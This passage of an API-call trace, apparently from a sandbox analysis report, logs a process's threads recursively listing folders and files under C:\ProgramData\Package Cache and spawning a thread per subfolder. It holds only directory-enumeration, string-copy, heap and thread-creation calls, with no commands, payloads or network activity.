out: _Dest="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030") returned="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030" [0087.639] wcscat (in: _Dest=0x106580, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\") returned="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\" [0087.639] wcscat (in: _Dest=0x106580, _Source="packages" | out: _Dest="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages") returned="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages" [0090.582] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x106580, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x978 [0090.582] FindNextFileW (in: hFindFile=0x1cd87030, lpFindFileData=0x1cd996c0 | out: lpFindFileData=0x1cd996c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabe4080, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfabe4080, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfabe4080, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0090.582] FindClose (in: hFindFile=0x1cd87030 | out: hFindFile=0x1cd87030) returned 1 [0090.582] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd996c0) returned 1 [0090.583] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a5c80) returned 1 [0090.583] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a5230) returned 1 Thread: id = 234 os_tid = 0xcd8 [0087.641] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x1b7ad980 [0087.641] wcscpy (in: _Dest=0x1b7ad980, _Source="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}" | out: _Dest="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}") returned="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}" [0087.641] wcscat (in: _Dest=0x1b7ad980, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\") returned="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\" [0087.641] wcscat (in: _Dest=0x1b7ad980, _Source="*" | out: _Dest="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\*") returned="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\*" [0087.641] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd99930 [0087.641] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\*", lpFindFileData=0x1cd99930 | out: lpFindFileData=0x1cd99930*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a0db1a0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a127460, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a127460, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9c0d0 [0087.642] wcscmp (_String1=".", _String2=".") returned 0 [0087.642] FindNextFileW (in: hFindFile=0x1cd9c0d0, lpFindFileData=0x1cd99930 | out: lpFindFileData=0x1cd99930*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a0db1a0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a127460, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a127460, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.642] wcscmp (_String1="..", _String2=".") returned 1 [0087.642] wcscmp (_String1="..", _String2="..") returned 0 [0087.642] FindNextFileW (in: hFindFile=0x1cd9c0d0, lpFindFileData=0x1cd99930 | out: lpFindFileData=0x1cd99930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a127460, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a127460, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1c821ca0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x29a, dwReserved0=0x0, dwReserved1=0x0, cFileName="state.rsm", cAlternateFileName="")) returned 1 [0087.643] wcscmp (_String1="state.rsm", _String2=".") returned 1 [0087.643] wcscmp (_String1="state.rsm", _String2="..") returned 1 [0087.643] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x1b7a5d30 [0087.643] wcscpy (in: _Dest=0x1b7a5d30, _Source="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}" | out: _Dest="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}") returned="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}" [0087.643] wcscat (in: _Dest=0x1b7a5d30, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\") returned="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\" [0087.643] wcscat (in: _Dest=0x1b7a5d30, _Source="state.rsm" | out: _Dest="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm") returned="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm" [0090.584] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7a5d30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x97c [0090.584] FindNextFileW (in: hFindFile=0x1cd9c0d0, lpFindFileData=0x1cd99930 | out: lpFindFileData=0x1cd99930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a0db1a0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a0db1a0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1073de80, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x710a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcredist_x64.exe", cAlternateFileName="VCREDI~1.EXE")) returned 1 [0090.584] wcscmp (_String1="vcredist_x64.exe", _String2=".") returned 1 [0090.584] wcscmp (_String1="vcredist_x64.exe", _String2="..") returned 1 [0090.584] FindNextFileW (in: hFindFile=0x1cd9c0d0, lpFindFileData=0x1cd99930 | out: lpFindFileData=0x1cd99930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a0db1a0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a0db1a0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1073de80, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x710a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcredist_x64.exe", cAlternateFileName="VCREDI~1.EXE")) returned 0 [0090.584] FindClose (in: hFindFile=0x1cd9c0d0 | out: hFindFile=0x1cd9c0d0) returned 1 [0090.585] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd99930) returned 1 [0090.585] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad980) returned 1 [0090.585] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7840a0) returned 1 Thread: id = 235 os_tid = 0xcdc [0087.645] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa4) returned 0x1b7a5de0 [0087.645] wcscpy (in: _Dest=0x1b7a5de0, _Source="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017" | out: _Dest="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017") returned="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017" [0087.645] wcscat (in: _Dest=0x1b7a5de0, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\") returned="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\" [0087.645] wcscat (in: _Dest=0x1b7a5de0, _Source="*" | out: _Dest="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\*") returned="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\*" [0087.645] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd99ba0 [0087.645] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\*", lpFindFileData=0x1cd99ba0 | out: lpFindFileData=0x1cd99ba0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94d4300, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94d4300, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9c130 [0087.645] wcscmp (_String1=".", _String2=".") returned 0 [0087.646] FindNextFileW (in: hFindFile=0x1cd9c130, lpFindFileData=0x1cd99ba0 | out: lpFindFileData=0x1cd99ba0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94d4300, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94d4300, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.646] wcscmp (_String1="..", _String2=".") returned 1 [0087.646] wcscmp (_String1="..", _String2="..") returned 0 [0087.646] FindNextFileW (in: hFindFile=0x1cd9c130, lpFindFileData=0x1cd99ba0 | out: lpFindFileData=0x1cd99ba0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94d4300, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94d4300, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0087.646] wcscmp (_String1="packages", _String2=".") returned 1 [0087.646] wcscmp (_String1="packages", _String2="..") returned 1 [0087.646] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb2) returned 0x106700 [0087.646] wcscpy (in: _Dest=0x106700, _Source="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017" | out: _Dest="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017") returned="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017" [0087.646] wcscat (in: _Dest=0x106700, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\") returned="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\" [0087.646] wcscat (in: _Dest=0x106700, _Source="packages" | out: _Dest="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages") returned="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages" [0090.586] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x106700, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x980 [0090.586] FindNextFileW (in: hFindFile=0x1cd9c130, lpFindFileData=0x1cd99ba0 | out: lpFindFileData=0x1cd99ba0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94d4300, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94d4300, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0090.587] FindClose (in: hFindFile=0x1cd9c130 | out: hFindFile=0x1cd9c130) returned 1 [0090.587] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd99ba0) returned 1 [0090.587] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a5de0) returned 1 [0090.587] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a52e0) returned 1 Thread: id = 236 os_tid = 0xce0 [0087.651] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa4) returned 0x1b7a5e90 [0087.651] wcscpy (in: _Dest=0x1b7a5e90, _Source="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017" | out: _Dest="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017") returned="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017" [0087.651] wcscat (in: _Dest=0x1b7a5e90, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\") returned="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\" [0087.651] wcscat (in: _Dest=0x1b7a5e90, _Source="*" | out: _Dest="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\*") returned="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\*" [0087.651] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd99e10 [0087.651] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\*", lpFindFileData=0x1cd99e10 | out: lpFindFileData=0x1cd99e10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94d4300, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94d4300, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9c190 [0087.652] wcscmp (_String1=".", _String2=".") returned 0 [0087.652] FindNextFileW (in: hFindFile=0x1cd9c190, lpFindFileData=0x1cd99e10 | out: lpFindFileData=0x1cd99e10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94d4300, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94d4300, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.652] wcscmp (_String1="..", _String2=".") returned 1 [0087.652] wcscmp (_String1="..", _String2="..") returned 0 [0087.652] FindNextFileW (in: hFindFile=0x1cd9c190, lpFindFileData=0x1cd99e10 | out: lpFindFileData=0x1cd99e10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94d4300, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94d4300, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0087.652] wcscmp (_String1="packages", _String2=".") returned 1 [0087.652] wcscmp (_String1="packages", _String2="..") returned 1 [0087.653] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb2) returned 0x1067c0 [0087.653] wcscpy (in: _Dest=0x1067c0, _Source="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017" | out: _Dest="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017") returned="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017" [0087.653] wcscat (in: _Dest=0x1067c0, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\") returned="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\" [0087.653] wcscat (in: _Dest=0x1067c0, _Source="packages" | out: _Dest="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages") returned="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages" [0090.588] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1067c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x984 [0090.589] FindNextFileW (in: hFindFile=0x1cd9c190, lpFindFileData=0x1cd99e10 | out: lpFindFileData=0x1cd99e10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94d4300, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94d4300, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0090.589] FindClose (in: hFindFile=0x1cd9c190 | out: hFindFile=0x1cd9c190) returned 1 [0090.589] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd99e10) returned 1 [0090.589] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a5e90) returned 1 [0090.589] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a5390) returned 1 Thread: id = 237 os_tid = 0xce4 [0087.654] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa4) returned 0x1b7a5f40 [0087.654] wcscpy (in: _Dest=0x1b7a5f40, _Source="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017" | out: _Dest="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017") returned="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017" [0087.654] wcscat (in: _Dest=0x1b7a5f40, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\") returned="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\" [0087.654] wcscat (in: _Dest=0x1b7a5f40, _Source="*" | out: _Dest="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\*") returned="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\*" [0087.654] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd9a080 [0087.654] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\*", lpFindFileData=0x1cd9a080 | out: lpFindFileData=0x1cd9a080*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa931c450, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa931c450, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa931c450, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9c1f0 [0087.658] wcscmp (_String1=".", _String2=".") returned 0 [0087.658] FindNextFileW (in: hFindFile=0x1cd9c1f0, lpFindFileData=0x1cd9a080 | out: lpFindFileData=0x1cd9a080*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa931c450, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa931c450, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa931c450, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.658] wcscmp (_String1="..", _String2=".") returned 1 [0087.658] wcscmp (_String1="..", _String2="..") returned 0 [0087.658] FindNextFileW (in: hFindFile=0x1cd9c1f0, lpFindFileData=0x1cd9a080 | out: lpFindFileData=0x1cd9a080*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa931c450, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa931c450, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa931c450, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0087.658] wcscmp (_String1="packages", _String2=".") returned 1 [0087.658] wcscmp (_String1="packages", _String2="..") returned 1 [0087.658] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb2) returned 0x106880 [0087.658] wcscpy (in: _Dest=0x106880, _Source="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017" | out: _Dest="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017") returned="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017" [0087.658] wcscat (in: _Dest=0x106880, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\") returned="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\" [0087.658] wcscat (in: _Dest=0x106880, _Source="packages" | out: _Dest="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages") returned="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages" [0090.590] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x106880, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x988 [0090.591] FindNextFileW (in: hFindFile=0x1cd9c1f0, lpFindFileData=0x1cd9a080 | out: lpFindFileData=0x1cd9a080*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa931c450, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa931c450, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa931c450, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0090.591] FindClose (in: hFindFile=0x1cd9c1f0 | out: hFindFile=0x1cd9c1f0) returned 1 [0090.591] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9a080) returned 1 [0090.591] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a5f40) returned 1 [0090.591] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a5440) returned 1 Thread: id = 238 os_tid = 0xce8 [0087.659] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x1b7a5ff0 [0087.659] wcscpy (in: _Dest=0x1b7a5ff0, _Source="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005" | out: _Dest="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005") returned="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005" [0087.659] wcscat (in: _Dest=0x1b7a5ff0, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\") returned="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\" [0087.659] wcscat (in: _Dest=0x1b7a5ff0, _Source="*" | out: _Dest="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\*") returned="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\*" [0087.659] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd9a2f0 [0087.660] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\*", lpFindFileData=0x1cd9a2f0 | out: lpFindFileData=0x1cd9a2f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a1e5b40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a20bca0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a20bca0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9c250 [0087.660] wcscmp (_String1=".", _String2=".") returned 0 [0087.660] FindNextFileW (in: hFindFile=0x1cd9c250, lpFindFileData=0x1cd9a2f0 | out: lpFindFileData=0x1cd9a2f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a1e5b40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a20bca0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a20bca0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.660] wcscmp (_String1="..", _String2=".") returned 1 [0087.660] wcscmp (_String1="..", _String2="..") returned 0 [0087.660] FindNextFileW (in: hFindFile=0x1cd9c250, lpFindFileData=0x1cd9a2f0 | out: 